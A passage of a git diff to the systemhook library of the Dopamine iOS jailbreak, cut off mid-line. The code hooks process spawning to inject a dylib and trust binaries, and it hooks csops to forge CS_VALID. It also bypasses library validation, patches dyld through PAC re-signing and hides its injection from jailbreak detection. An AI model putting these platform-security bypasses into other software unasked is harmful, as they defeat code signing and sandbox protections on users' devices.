kSpawnConfig spawnConfig = spawn_config_for_executable(path, argv); - if (!(binaryConfig & kBinaryConfigDontProcess)) { - // jailbreakd: Upload binary to trustcache if needed + if (spawnConfig & kSpawnConfigTrust) { + // Upload binary to trustcache if needed trust_binary(path); } const char *existingLibraryInserts = envbuf_getenv((const char **)envp, "DYLD_INSERT_LIBRARIES"); __block bool systemHookAlreadyInserted = false; if (existingLibraryInserts) { - enumeratePathString(existingLibraryInserts, ^(const char *existingLibraryInsert, bool *stop) { + string_enumerate_components(existingLibraryInserts, ":", ^(const char *existingLibraryInsert, bool *stop) { if (!strcmp(existingLibraryInsert, HOOK_DYLIB_PATH)) { systemHookAlreadyInserted = true; } - else { - trust_binary(existingLibraryInsert); - } }); } @@ -276,7 +130,7 @@ int spawn_hook_common(pid_t *restrict pid, const char *restrict path, bool shouldInsertJBEnv = true; bool hasSafeModeVariable = false; do { - if (binaryConfig & kBinaryConfigDontInject) { + if (!(spawnConfig & kSpawnConfigInject)) { shouldInsertJBEnv = false; break; } @@ -300,9 +154,8 @@ int spawn_hook_common(pid_t *restrict pid, const char *restrict path, } } - if (attrp) { - int proctype = 0; - posix_spawnattr_getprocesstype_np(attrp, &proctype); + int proctype = 0; + if (posix_spawnattr_getprocesstype_np(&attr, &proctype) == 0) { if (proctype == POSIX_SPAWN_PROC_TYPE_DRIVER) { // Do not inject hook into DriverKit drivers shouldInsertJBEnv = false; @@ -317,72 +170,29 @@ int spawn_hook_common(pid_t *restrict pid, const char *restrict path, } } while (0); - // If systemhook is being injected and Jetsam limits are set, increase them by a factor of JETSAM_MULTIPLIER + // If systemhook is being injected and jetsam limits are set, increase them by a factor of jetsamMultiplier if (shouldInsertJBEnv) { - if (attrp) { - uint8_t *attrStruct = *attrp; - if (attrStruct) { + uint8_t *attrStruct = (uint8_t *)attr; + if (attrStruct) { + if (jetsamMultiplier == 0 || isnan(jetsamMultiplier)) jetsamMultiplier = 3; // default value (3x) + if (jetsamMultiplier > 1) { int memlimit_active = *(int*)(attrStruct + POSIX_SPAWNATTR_OFF_MEMLIMIT_ACTIVE); if (memlimit_active != -1) { - *(int*)(attrStruct + POSIX_SPAWNATTR_OFF_MEMLIMIT_ACTIVE) = memlimit_active * JETSAM_MULTIPLIER; + *(int*)(attrStruct + POSIX_SPAWNATTR_OFF_MEMLIMIT_ACTIVE) = memlimit_active * jetsamMultiplier; } int memlimit_inactive = *(int*)(attrStruct + POSIX_SPAWNATTR_OFF_MEMLIMIT_INACTIVE); if (memlimit_inactive != -1) { - *(int*)(attrStruct + POSIX_SPAWNATTR_OFF_MEMLIMIT_INACTIVE) = memlimit_inactive * JETSAM_MULTIPLIER; + *(int*)(attrStruct + POSIX_SPAWNATTR_OFF_MEMLIMIT_INACTIVE) = memlimit_inactive * jetsamMultiplier; } - - // On iOS 16, disable launch constraints - // Not working, doesn't seem feasable - /*if (__builtin_available(iOS 16.0, *)) { - uint32_t bufsize = PATH_MAX; - char executablePath[PATH_MAX]; - _NSGetExecutablePath(executablePath, &bufsize); - // We could do the following here - // posix_spawnattr_set_launch_type_np(*attrp, 0); - // But I don't know how to get the compiler to weak link it - // So we just set it by offset - if (getpid() == 1) { - FILE *f = fopen("/var/mobile/launch_type.txt", "a"); - const char *toLog = path; - if (!strcmp(path, "/usr/libexec/xpcproxy") && argv) { - if (argv[0]) { - if (argv[1]) { - toLog = argv[1]; - } - } - } - fprintf(f, "%s has launch type %u\n", toLog, *(uint8_t *)(attrStruct + POSIX_SPAWNATTR_OFF_LAUNCH_TYPE)); - fclose(f); - } - else if (!strcmp(executablePath, "/usr/libexec/xpcproxy")) { - FILE *f = fopen("/tmp/launch_type_xpcproxy.txt", "a"); - if (f) { - fprintf(f, "%s has launch type %u\n", path, *(uint8_t *)(attrStruct + POSIX_SPAWNATTR_OFF_LAUNCH_TYPE)); - fclose(f); - } - } - else { - os_log(OS_LOG_DEFAULT, "systemhook %{public}s has launch type %u\n", path, *(uint8_t *)(attrStruct + POSIX_SPAWNATTR_OFF_LAUNCH_TYPE)); - }*/ - - //*(uint8_t *)(attrStruct + POSIX_SPAWNATTR_OFF_LAUNCH_TYPE) = ... - /*if (!strcmp(path, "/usr/libexec/xpcproxy") && argv) { - if (argv[0]) { - if (argv[1]) { - if (stringStartsWith(argv[1], "com.apple.WebKit.WebContent.")) { - *(uint8_t *)(attrStruct + POSIX_SPAWNATTR_OFF_LAUNCH_TYPE) = 0; - } - } - } - } - }*/ } } } + int r = -1; + if ((shouldInsertJBEnv && JBEnvAlreadyInsertedCount == 1) || (!shouldInsertJBEnv && JBEnvAlreadyInsertedCount == 0 && !hasSafeModeVariable)) { // we're already good, just call orig - return pspawn_orig(pid, path, file_actions, attrp, argv, envp); + r = orig(envp); } else { // the state we want to be in is not the state we are in right now @@ -410,7 +220,7 @@ int spawn_hook_common(pid_t *restrict pid, const char *restrict path, newLibraryInsert[0] = '\0'; __block bool first = true; - enumeratePathString(existingLibraryInserts, ^(const char *existingLibraryInsert, bool *stop) { + string_enumerate_components(existingLibraryInserts, ":", ^(const char *existingLibraryInsert, bool *stop) { if (strcmp(existingLibraryInsert, HOOK_DYLIB_PATH) != 0) { if (first) { strcpy(newLibraryInsert, existingLibraryInsert); @@ -431,8 +241,57 @@ int spawn_hook_common(pid_t *restrict pid, const char *restrict path, envbuf_unsetenv(&envc, "_MSSafeMode"); } - int retval = pspawn_orig(pid, path, file_actions, attrp, argv, envc); + r = orig(envc); + envbuf_free(envc); - return retval; } + + return r; +} + +int posix_spawn_hook_shared(pid_t *restrict pid, + const char *restrict path, + struct _posix_spawn_args_desc *desc, + char *const argv[restrict], + char *const envp[restrict], + void *orig, + int (*trust_binary)(const char *path), + int (*set_process_debugged)(uint64_t pid, bool fullyDebugged), + double jetsamMultiplier) +{ + int (*posix_spawn_orig)(pid_t *restrict, const char *restrict, struct _posix_spawn_args_desc *, char *const[restrict], char *const[restrict]) = orig; + + int r = spawn_exec_hook_common(path, argv, envp, desc, trust_binary, jetsamMultiplier, ^int(char *const envp_patched[restrict]) { + return posix_spawn_orig(pid, path, desc, argv, envp_patched); + }); + + if (r == 0 && pid && desc) { + posix_spawnattr_t attr = desc->attrp; + short flags = 0; + if (posix_spawnattr_getflags(&attr, &flags) == 0) { + if (flags & POSIX_SPAWN_START_SUSPENDED) { + // If something spawns a process as suspended, ensure mapping invalid pages in it is possible + // Normally it would only be possible after systemhook.dylib enables it + // Fixes Frida issues + int r = set_process_debugged(*pid, false); + } + } + } + + return r; +} + +int execve_hook_shared(const char *path, + char *const argv[], + char *const envp[], + void *orig, + int (*trust_binary)(const char *path)) +{ + int (*execve_orig)(const char *, char *const[], char *const[]) = orig; + + int r = spawn_exec_hook_common(path, argv, envp, NULL, trust_binary, 0, ^int(char *const envp_patched[restrict]){ + return execve_orig(path, argv, envp_patched); + }); + + return r; } diff --git a/BaseBin/systemhook/src/common.h b/BaseBin/systemhook/src/common.h index faa4a38793..51d4dd704d 100644 --- a/BaseBin/systemhook/src/common.h +++ b/BaseBin/systemhook/src/common.h @@ -1,19 +1,25 @@ #include #include #include +#include "private.h" #define HOOK_DYLIB_PATH "/usr/lib/systemhook.dylib" -extern char *JB_BootUUID; -extern char *JB_RootPath; -bool stringStartsWith(const char *str, const char* prefix); -bool stringEndsWith(const char* str, const char* suffix); +typedef enum +{ + kSpawnConfigInject = 1 << 0, + kSpawnConfigTrust = 1 << 1, +} kSpawnConfig; + +int __posix_spawn(pid_t *restrict pid, const char *restrict path, struct _posix_spawn_args_desc *desc, char *const argv[restrict], char *const envp[restrict]); +int __execve(const char *path, char *const argv[], char *const envp[]); + +bool string_has_prefix(const char *str, const char* prefix); +bool string_has_suffix(const char* str, const char* suffix); + +int __posix_spawn_orig(pid_t *restrict pid, const char *restrict path, struct _posix_spawn_args_desc *desc, char *const argv[restrict], char * const envp[restrict]); +int __execve_orig(const char *path, char *const argv[], char *const envp[]); int resolvePath(const char *file, const char *searchPath, int (^attemptHandler)(char *path)); -int spawn_hook_common(pid_t *restrict pid, const char *restrict path, - const posix_spawn_file_actions_t *restrict file_actions, - const posix_spawnattr_t *restrict attrp, - char *const argv[restrict], - char *const envp[restrict], - void *orig, - int (*trust_binary)(const char *)); \ No newline at end of file +int posix_spawn_hook_shared(pid_t *restrict pid, const char *restrict path, struct _posix_spawn_args_desc *desc, char *const argv[restrict], char *const envp[restrict], void *orig, int (*trust_binary)(const char *path), int (*set_process_debugged)(uint64_t pid, bool fullyDebugged), double jetsamMultiplier); +int execve_hook_shared(const char *path, char *const argv[], char *const envp[], void *orig, int (*trust_binary)(const char *path)); \ No newline at end of file diff --git a/BaseBin/systemhook/src/main.c b/BaseBin/systemhook/src/main.c index e83d2040cf..f206fed187 100644 --- a/BaseBin/systemhook/src/main.c +++ b/BaseBin/systemhook/src/main.c @@ -1,37 +1,29 @@ #include "common.h" #include +#include +#include #include #include #include #include -#include "sandbox.h" +#include #include +#include +#include +#include "../dyldhook/src/dyld_jbinfo.h" +#include "litehook.h" +#include "sandbox.h" +#include "private.h" -#define JBRootPath(path) ({ \ - char *outPath = alloca(PATH_MAX); \ - strlcpy(outPath, JB_RootPath, PATH_MAX); \ - strlcat(outPath, path, PATH_MAX); \ - (outPath); \ -}) - -extern char **environ; -bool gTweaksEnabled = false; - -int ptrace(int request, pid_t pid, caddr_t addr, int data); -#define PT_ATTACH 10 /* trace some running process */ -#define PT_ATTACHEXC 14 /* attach to running process with signal exception */ - -void* dlopen_from(const char* path, int mode, void* addressInCaller); -void* dlopen_audited(const char* path, int mode); -bool dlopen_preflight(const char* path); - -#define DYLD_INTERPOSE(_replacement,_replacee) \ - __attribute__((used)) static struct{ const void* replacement; const void* replacee; } _interpose_##_replacee \ - __attribute__ ((section ("__DATA,__interpose"))) = { (const void*)(unsigned long)&_replacement, (const void*)(unsigned long)&_replacee }; +bool gFullyDebugged = false; +static void *gLibSandboxHandle; +char *JB_BootUUID = NULL; +char *JB_RootPath = NULL; +char *get_jbroot(void) { return JB_RootPath; } static char gExecutablePath[PATH_MAX]; -static int loadExecutablePath(void) +static int load_executable_path(void) { char executablePath[PATH_MAX]; uint32_t bufsize = PATH_MAX; @@ -42,372 +34,378 @@ static int loadExecutablePath(void) } static char *JB_SandboxExtensions = NULL; -void applySandboxExtensions(void) + +void consume_tokenized_sandbox_extensions(char *sandboxExtensions) { - if (JB_SandboxExtensions) { - char *JB_SandboxExtensions_dup = strdup(JB_SandboxExtensions); - char *extension = strtok(JB_SandboxExtensions_dup, "|"); - while (extension != NULL) { - sandbox_extension_consume(extension); - extension = strtok(NULL, "|"); + if (sandboxExtensions[0] == '\0') return; + + char *it = sandboxExtensions; + char *last = sandboxExtensions; + while (*(++it) != '\0') { + if (*it == '|') { + *it = '\0'; + sandbox_extension_consume(last); + last = &it[1]; + *it = '|'; } - free(JB_SandboxExtensions_dup); } + sandbox_extension_consume(last); } -int posix_spawn_hook(pid_t *restrict pid, const char *restrict path, - const posix_spawn_file_actions_t *restrict file_actions, - const posix_spawnattr_t *restrict attrp, - char *const argv[restrict], - char *const envp[restrict]) +void *(*sandbox_apply_orig)(void *) = NULL; +void *sandbox_apply_hook(void *a1) { - return spawn_hook_common(pid, path, file_actions, attrp, argv, envp, (void *)posix_spawn, jbclient_trust_binary); + void *r = sandbox_apply_orig(a1); + consume_tokenized_sandbox_extensions(JB_SandboxExtensions); + return r; } -int posix_spawnp_hook(pid_t *restrict pid, const char *restrict file, - const posix_spawn_file_actions_t *restrict file_actions, - const posix_spawnattr_t *restrict attrp, - char *const argv[restrict], - char *const envp[restrict]) +int dyld_hook_routine(void **dyld, int idx, void *hook, void **orig, uint16_t pacSalt) { - return resolvePath(file, NULL, ^int(char *path) { - return spawn_hook_common(pid, path, file_actions, attrp, argv, envp, (void *)posix_spawn, jbclient_trust_binary); - }); -} + if (!dyld) return -1; + uint64_t dyldPacDiversifier = ((uint64_t)dyld & ~(0xFFFFull << 48)) | (0x63FAull << 48); + void **dyldFuncPtrs = ptrauth_auth_data(*dyld, ptrauth_key_process_independent_data, dyldPacDiversifier); + if (!dyldFuncPtrs) return -1; -int execve_hook(const char *path, char *const argv[], char *const envp[]) -{ - posix_spawnattr_t attr = NULL; - posix_spawnattr_init(&attr); - posix_spawnattr_setflags(&attr, POSIX_SPAWN_SETEXEC); - int result = spawn_hook_common(NULL, path, NULL, &attr, argv, envp, (void *)posix_spawn, jbclient_trust_binary); - if (attr) { - posix_spawnattr_destroy(&attr); - } - - if(result != 0) { // posix_spawn will return errno and restore errno if it fails - errno = result; // so we need to set errno by ourself - return -1; + if (vm_protect(mach_task_self_, (mach_vm_address_t)&dyldFuncPtrs[idx], sizeof(void *), false, VM_PROT_READ | VM_PROT_WRITE) == 0) { + uint64_t location = (uint64_t)&dyldFuncPtrs[idx]; + uint64_t pacDiversifier = (location & ~(0xFFFFull << 48)) | ((uint64_t)pacSalt << 48); + + *orig = ptrauth_auth_and_resign(dyldFuncPtrs[idx], ptrauth_key_process_independent_code, pacDiversifier, ptrauth_key_function_pointer, 0); + dyldFuncPtrs[idx] = ptrauth_auth_and_resign(hook, ptrauth_key_function_pointer, 0, ptrauth_key_process_independent_code, pacDiversifier); + vm_protect(mach_task_self_, (mach_vm_address_t)&dyldFuncPtrs[idx], sizeof(void *), false, VM_PROT_READ); + return 0; } - return result; + return -1; } -int execle_hook(const char *path, const char *arg0, ... /*, (char *)0, char *const envp[] */) -{ - va_list args; - va_start(args, arg0); - - // Get argument count - va_list args_copy; - va_copy(args_copy, args); - int arg_count = 1; - for (char *arg = va_arg(args_copy, char *); arg != NULL; arg = va_arg(args_copy, char *)) { - arg_count++; - } - va_end(args_copy); +// dlsym calls use __builtin_return_address(0) to determine what library called it +// Since we hook them, if we just call the original function on our own, the return address will always point to systemhook +// Therefore we must ensure the call to the original function is a tail call, which ensures that the stack and lr are restored and the compiler turns the call into a direct branch +// This is done via __attribute__((musttail)), this way __builtin_return_address(0) will point to the original calling library instead of systemhook - char *argv[arg_count+1]; - argv[0] = (char*)arg0; - for (int i = 0; i < arg_count-1; i++) { - char *arg = va_arg(args, char*); - argv[i+1] = arg; +void *(*dyld_dlsym_orig)(void *dyld, void *handle, const char *name); +void *dyld_dlsym_hook(void *dyld, void *handle, const char *name) +{ + if (handle == gLibSandboxHandle && !strcmp(name, "sandbox_apply")) { + // We abuse the fact that libsystem_sandbox will call dlsym to get the sandbox_apply pointer here + // Because we can just return a different pointer, we avoid doing instruction replacements + return sandbox_apply_hook; } - argv[arg_count] = NULL; - - char *nullChar = va_arg(args, char*); - - char **envp = va_arg(args, char**); - return execve_hook(path, argv, envp); + __attribute__((musttail)) return dyld_dlsym_orig(dyld, handle, name); } -int execlp_hook(const char *file, const char *arg0, ... /*, (char *)0 */) +int ptrace_hook(int request, pid_t pid, caddr_t addr, int data) { - va_list args; - va_start(args, arg0); - - // Get argument count - va_list args_copy; - va_copy(args_copy, args); - int arg_count = 1; - for (char *arg = va_arg(args_copy, char*); arg != NULL; arg = va_arg(args_copy, char*)) { - arg_count++; - } - va_end(args_copy); + int r = syscall(SYS_ptrace, request, pid, addr, data); - char **argv = malloc((arg_count+1) * sizeof(char *)); - argv[0] = (char*)arg0; - for (int i = 0; i < arg_count-1; i++) { - char *arg = va_arg(args, char*); - argv[i+1] = arg; + // ptrace works on any process when the caller is unsandboxed, + // but when the victim process does not have the get-task-allow entitlement, + // it will fail to set the debug flags, therefore we patch ptrace to manually apply them + // processes that have tweak injection enabled will have their debug flags already set + // this is only relevant for ones that don't, e.g. if you disable tweak injection on an app via choicy + // but still want to be able to attach a debugger to them + if (r == 0 && (request == PT_ATTACHEXC || request == PT_ATTACH)) { + jbclient_platform_set_process_debugged(pid, true); + jbclient_platform_set_process_debugged(getpid(), true); } - argv[arg_count] = NULL; - - int r = resolvePath(file, NULL, ^int(char *path) { - return execve_hook(path, argv, environ); - }); - - free(argv); return r; } -int execl_hook(const char *path, const char *arg0, ... /*, (char *)0 */) -{ - va_list args; - va_start(args, arg0); - - // Get argument count - va_list args_copy; - va_copy(args_copy, args); - int arg_count = 1; - for (char *arg = va_arg(args_copy, char*); arg != NULL; arg = va_arg(args_copy, char*)) { - arg_count++; - } - va_end(args_copy); - - char *argv[arg_count+1]; - argv[0] = (char*)arg0; - for (int i = 0; i < arg_count-1; i++) { - char *arg = va_arg(args, char*); - argv[i+1] = arg; - } - argv[arg_count] = NULL; +#ifndef __arm64e__ - return execve_hook(path, argv, environ); -} +// The NECP subsystem is the only thing in the kernel that ever checks CS_VALID on userspace processes (Only on iOS >=16) +// In order to not break system functionality, we need to readd CS_VALID before any of these are invoked -int execv_hook(const char *path, char *const argv[]) +int necp_match_policy_hook(uint8_t *parameters, size_t parameters_size, void *returned_result) { - return execve_hook(path, argv, environ); + jbclient_cs_revalidate(); + return syscall(SYS_necp_match_policy, parameters, parameters_size, returned_result); } -int execvP_hook(const char *file, const char *search_path, char *const argv[]) +int necp_open_hook(int flags) { - __block bool execve_failed = false; - int err = resolvePath(file, search_path, ^int(char *path) { - (void)execve_hook(path, argv, environ); - execve_failed = true; - return 0; - }); - if (!execve_failed) { - errno = err; - } - return -1; + jbclient_cs_revalidate(); + return syscall(SYS_necp_open, flags); } -int execvp_hook(const char *name, char * const *argv) +int necp_client_action_hook(int necp_fd, uint32_t action, uuid_t client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size) { - const char *path; - /* Get the path we're searching. */ - if ((path = getenv("PATH")) == NULL) - path = _PATH_DEFPATH; - return execvP_hook(name, path, argv); + jbclient_cs_revalidate(); + return syscall(SYS_necp_client_action, necp_fd, action, client_id, client_id_len, buffer, buffer_size); } - -void* dlopen_hook(const char* path, int mode) +int necp_session_open_hook(int flags) { - if (path && !(mode & RTLD_NOLOAD)) { - jbclient_trust_library(path); - } - - void* callerAddress = __builtin_return_address(0); - return dlopen_from(path, mode, callerAddress); + jbclient_cs_revalidate(); + return syscall(SYS_necp_session_open, flags); } -void* dlopen_from_hook(const char* path, int mode, void* addressInCaller) +int necp_session_action_hook(int necp_fd, uint32_t action, uint8_t *in_buffer, size_t in_buffer_length, uint8_t *out_buffer, size_t out_buffer_length) { - if (path && !(mode & RTLD_NOLOAD)) { - jbclient_trust_library(path); - } - return dlopen_from(path, mode, addressInCaller); + jbclient_cs_revalidate(); + return syscall(SYS_necp_session_action, necp_fd, action, in_buffer, in_buffer_length, out_buffer, out_buffer_length); } -void* dlopen_audited_hook(const char* path, int mode) -{ - if (path && !(mode & RTLD_NOLOAD)) { - jbclient_trust_library(path); - } - return dlopen_audited(path, mode); -} +// For the userland, there are multiple processes that will check CS_VALID for one reason or another +// As we inject system wide (or at least almost system wide), we can just patch the source of the info though - csops itself +// Additionally we also remove CS_DEBUGGED while we're at it, as on arm64e this also is not set and everything is fine +// That way we have unified behaviour between both arm64 and arm64e -bool dlopen_preflight_hook(const char* path) +int csops_hook(pid_t pid, unsigned int ops, void *useraddr, size_t usersize) { - if (path) { - jbclient_trust_library(path); + int rv = syscall(SYS_csops, pid, ops, useraddr, usersize); + if (rv != 0) return rv; + if (ops == CS_OPS_STATUS) { + if (useraddr && usersize == sizeof(uint32_t)) { + uint32_t* csflag = (uint32_t *)useraddr; + *csflag |= CS_VALID; + *csflag &= ~CS_DEBUGGED; + if (pid == getpid() && gFullyDebugged) { + *csflag |= CS_DEBUGGED; + } + } } - return dlopen_preflight(path); + return rv; } -int sandbox_init_hook(const char *profile, uint64_t flags, char **errorbuf) +int csops_audittoken_hook(pid_t pid, unsigned int ops, void *useraddr, size_t usersize, audit_token_t *token) { - int retval = sandbox_init(profile, flags, errorbuf); - if (retval == 0) { - applySandboxExtensions(); + int rv = syscall(SYS_csops_audittoken, pid, ops, useraddr, usersize, token); + if (rv != 0) return rv; + if (ops == CS_OPS_STATUS) { + if (useraddr && usersize == sizeof(uint32_t)) { + uint32_t* csflag = (uint32_t *)useraddr; + *csflag |= CS_VALID; + *csflag &= ~CS_DEBUGGED; + if (pid == getpid() && gFullyDebugged) { + *csflag |= CS_DEBUGGED; + } + } } - return retval; + return rv; } -int sandbox_init_with_parameters_hook(const char *profile, uint64_t flags, const char *const parameters[], char **errorbuf) +#endif + +bool should_enable_tweaks(void) { - int retval = sandbox_init_with_parameters(profile, flags, parameters, errorbuf); - if (retval == 0) { - applySandboxExtensions(); + if (access(JBROOT_PATH("/basebin/.safe_mode"), F_OK) == 0) { + return false; } - return retval; -} -int sandbox_init_with_extensions_hook(const char *profile, uint64_t flags, const char *const extensions[], char **errorbuf) -{ - int retval = sandbox_init_with_extensions(profile, flags, extensions, errorbuf); - if (retval == 0) { - applySandboxExtensions(); + char *tweaksDisabledEnv = getenv("DISABLE_TWEAKS"); + if (tweaksDisabledEnv) { + if (!strcmp(tweaksDisabledEnv, "1")) { + return false; + } } - return retval; -} -int ptrace_hook(int request, pid_t pid, caddr_t addr, int data) -{ - int retval = ptrace(request, pid, addr, data); + const char *tweaksDisabledPathSuffixes[] = { + // System binaries + "/usr/libexec/xpcproxy", - // ptrace works on any process when the parent is unsandboxed, - // but when the victim process does not have the get-task-allow entitlement, - // it will fail to set the debug flags, therefore we patch ptrace to manually apply them - if (retval == 0 && (request == PT_ATTACHEXC || request == PT_ATTACH)) { - jbclient_platform_set_process_debugged(pid); - jbclient_platform_set_process_debugged(getpid()); + // Dopamine app itself (jailbreak detection bypass tweaks can break it) + "Dopamine.app/Dopamine", + }; + for (size_t i = 0; i < sizeof(tweaksDisabledPathSuffixes) / sizeof(const char*); i++) { + if (string_has_suffix(gExecutablePath, tweaksDisabledPathSuffixes[i])) return false; + } + + if (__builtin_available(iOS 16.0, *)) { + // These seem to be problematic on iOS 16+ (dyld gets stuck in a weird way when opening TweakLoader) + const char *iOS16TweaksDisabledPaths[] = { + "/usr/libexec/logd", + "/usr/sbin/notifyd", + "/usr/libexec/usermanagerd", + }; + for (size_t i = 0; i < sizeof(iOS16TweaksDisabledPaths) / sizeof(const char*); i++) { + if (!strcmp(gExecutablePath, iOS16TweaksDisabledPaths[i])) return false; + } } - return retval; + return true; } -void loadForkFix(void) +int __posix_spawn_hook(pid_t *restrict pid, const char *restrict path, struct _posix_spawn_args_desc *desc, char *const argv[restrict], char * const envp[restrict]) { - if (gTweaksEnabled) { - static dispatch_once_t onceToken; - dispatch_once (&onceToken, ^{ - // If tweaks have been loaded into this process, we need to load forkfix to ensure forking will work - // Optimization: If the process cannot fork at all due to sandbox, we don't need to do anything - if (sandbox_check(getpid(), "process-fork", SANDBOX_CHECK_NO_REPORT, NULL) == 0) { - dlopen(JBRootPath("/basebin/forkfix.dylib"), RTLD_NOW); - } - }); - } + return posix_spawn_hook_shared(pid, path, desc, argv, envp, (void *)__posix_spawn_orig, jbclient_trust_file_by_path, jbclient_platform_set_process_debugged, jbclient_jbsettings_get_double("jetsamMultiplier")); } -pid_t fork_hook(void) +int __posix_spawn_hook_with_filter(pid_t *restrict pid, const char *restrict path, char *const argv[restrict], char * const envp[restrict], struct _posix_spawn_args_desc *desc, int *ret) { - loadForkFix(); - return fork(); + *ret = posix_spawn_hook_shared(pid, path, desc, argv, envp, (void *)__posix_spawn_orig, jbclient_trust_file_by_path, jbclient_platform_set_process_debugged, jbclient_jbsettings_get_double("jetsamMultiplier")); + return 1; } -pid_t vfork_hook(void) +int __execve_hook(const char *path, char *const argv[], char *const envp[]) { - loadForkFix(); - return vfork(); + return execve_hook_shared(path, argv, envp, (void *)__execve_orig, jbclient_trust_file_by_path); } -pid_t forkpty_hook(int *amaster, char *name, struct termios *termp, struct winsize *winp) +const struct mach_header_64 *get_dyld_mach_header(void) { - loadForkFix(); - return forkpty(amaster, name, termp, winp); + static const struct mach_header_64 *dyldMachHeader = NULL; + static dispatch_once_t onceToken; + dispatch_once (&onceToken, ^{ + task_dyld_info_data_t dyldInfo; + uint32_t count = TASK_DYLD_INFO_COUNT; + kern_return_t kr = task_info(mach_task_self_, TASK_DYLD_INFO, (task_info_t)&dyldInfo, &count); + if (kr == KERN_SUCCESS) { + struct dyld_all_image_infos *infos = (struct dyld_all_image_infos *)dyldInfo.all_image_info_addr; + dyldMachHeader = (const struct mach_header_64 *)infos->dyldImageLoadAddress; + } + }); + return dyldMachHeader; } -int daemon_hook(int __nochdir, int __noclose) +int parse_dyldhook_jbinfo(char **jbRootPathOut, char **bootUUIDOut, char **sandboxExtensionsOut, bool *fullyDebuggedOut) { - loadForkFix(); - return daemon(__nochdir, __noclose); + // Get dyld header + const struct mach_header_64 *dyldHeader = get_dyld_mach_header(); + if (!dyldHeader) return -1; + + // Check if dyld LC_UUID contains dopamine magic + uuid_t dyldUUID; + if (!_dyld_get_image_uuid((const struct mach_header *)dyldHeader, dyldUUID)) return -2; + if (!string_has_prefix((char *)dyldUUID, "DOPA")) return -3; + + // If so, get __jbinfo section + size_t jbInfoSize = 0; + struct dyld_jbinfo *jbInfo = (struct dyld_jbinfo *)getsectiondata(dyldHeader, "__DATA", "__jbinfo", &jbInfoSize); + if (!jbInfo) return -4; + + // Check if dyld already performed check-in + if (jbInfo->state != DYLD_STATE_CHECKED_IN) return -5; + + // If so, parse jbinfo + if (jbRootPathOut) *jbRootPathOut = jbInfo->jbRootPath; + if (bootUUIDOut) *bootUUIDOut = jbInfo->bootUUID; + if (sandboxExtensionsOut) *sandboxExtensionsOut = jbInfo->sandboxExtensions; + if (fullyDebuggedOut) *fullyDebuggedOut = jbInfo->fullyDebugged; + + return 0; } -bool shouldEnableTweaks(void) -{ - if (access(JBRootPath("/basebin/.safe_mode"), F_OK) == 0) { - return false; +__attribute__((constructor)) static void initializer(void) +{ + // Under normal circumstances, dyldhook will have already handled the check-in, so get the check-in information from the __jbinfo section + // For more information on the check-in process, check the comments in dyldhook + if (parse_dyldhook_jbinfo(&JB_RootPath, &JB_BootUUID, &JB_SandboxExtensions, &gFullyDebugged) != 0) { + // If under any circumstances dyldhook has *not* performed a check-in, do it now + // This code path is taken inside xpcproxy on iOS 16, because launchd apparently no longer passes it a bootstrap port + if (jbclient_process_checkin(&JB_RootPath, &JB_BootUUID, &JB_SandboxExtensions, &gFullyDebugged) == 0) { + consume_tokenized_sandbox_extensions(JB_SandboxExtensions); + } + else { + // If neither dyldhook nor systemhook managed to perform the check-in, something is very wrong and the best thing we can do is bail out + // Should realistically never happen though + return; + } } - char *tweaksDisabledEnv = getenv("DISABLE_TWEAKS"); - if (tweaksDisabledEnv) { - if (!strcmp(tweaksDisabledEnv, "1")) { - return false; + // Unset DYLD_INSERT_LIBRARIES, but only if systemhook itself is the only thing contained in it + // Feeable attempt at making jailbreak detection harder + const char *dyldInsertLibraries = getenv("DYLD_INSERT_LIBRARIES"); + if (dyldInsertLibraries) { + if (!strcmp(dyldInsertLibraries, HOOK_DYLIB_PATH)) { + unsetenv("DYLD_INSERT_LIBRARIES"); } } - const char *tweaksDisabledPathSuffixes[] = { - // System binaries - "/usr/libexec/xpcproxy", - - // Protobox on iOS 16 - // These just crash loop if we try to load tweaks into them - "/usr/libexec/logd", - "/usr/sbin/notifyd", - "/usr/libexec/usermanagerd", - - // Dopamine app itself (jailbreak detection bypass tweaks can break it) - "Dopamine.app/Dopamine", - }; - for (size_t i = 0; i < sizeof(tweaksDisabledPathSuffixes) / sizeof(const char*); i++) - { - if (stringEndsWith(gExecutablePath, tweaksDisabledPathSuffixes[i])) return false; + // Apply posix_spawn / execve hooks + if (__builtin_available(iOS 16.0, *)) { + litehook_hook_function(__posix_spawn, __posix_spawn_hook); + litehook_hook_function(__execve, __execve_hook); } + else { + // On iOS 15 there is a way to hook posix_spawn and execve without doing instruction replacements + // Unfortunately Apple decided to remove these in iOS 16 :( - return true; -} + void **posix_spawn_with_filter = litehook_find_dsc_symbol("/usr/lib/system/libsystem_kernel.dylib", "_posix_spawn_with_filter"); + void **execve_with_filter = litehook_find_dsc_symbol("/usr/lib/system/libsystem_kernel.dylib", "_execve_with_filter"); -__attribute__((constructor)) static void initializer(void) -{ - jbclient_process_checkin(&JB_RootPath, &JB_BootUUID, &JB_SandboxExtensions); + *posix_spawn_with_filter = __posix_spawn_hook_with_filter; + *execve_with_filter = __execve_hook; + } - // Apply sandbox extensions - applySandboxExtensions(); + // Hook the dyld_shared_cache __fcntl to jump to the dyld __fcntl instead + // This makes it so that library validation is also bypassed if someone calls fcntl in userspace to attach a signature manually + void *dyld___fcntl = litehook_find_symbol(get_dyld_mach_header(), "___fcntl"); + extern int __fcntl(int fd, int op, ... /* arg */ ); + litehook_hook_function(__fcntl, dyld___fcntl); + + // Initialize stuff neccessary for sandbox_apply hook + gLibSandboxHandle = dlopen("/usr/lib/libsandbox.1.dylib", RTLD_FIRST | RTLD_LOCAL | RTLD_LAZY); + sandbox_apply_orig = dlsym(gLibSandboxHandle, "sandbox_apply"); + + // Apply dyld hooks + void ***gDyldPtr = litehook_find_dsc_symbol("/usr/lib/system/libdyld.dylib", "__ZN5dyld45gDyldE"); + if (gDyldPtr) { + // TODO: Maybe we can just rebind sandbox_apply instead? + dyld_hook_routine(*gDyldPtr, 17, (void *)&dyld_dlsym_hook, (void **)&dyld_dlsym_orig, 0x839D); + } - // Unset DYLD_INSERT_LIBRARIES, but only if systemhook itself is the only thing contained in it - if (!strcmp(getenv("DYLD_INSERT_LIBRARIES"), HOOK_DYLIB_PATH)) { - unsetenv("DYLD_INSERT_LIBRARIES"); +#ifdef __arm64e__ + // Since pages have been modified in this process, we need to load forkfix to ensure forking will work + // Optimization: If the process cannot fork at all due to sandbox, we don't need to do anything + if (sandbox_check(getpid(), "process-fork", SANDBOX_CHECK_NO_REPORT, NULL) == 0) { + dlopen(JBROOT_PATH("/basebin/forkfix.dylib"), RTLD_NOW); } +#endif - if (loadExecutablePath() == 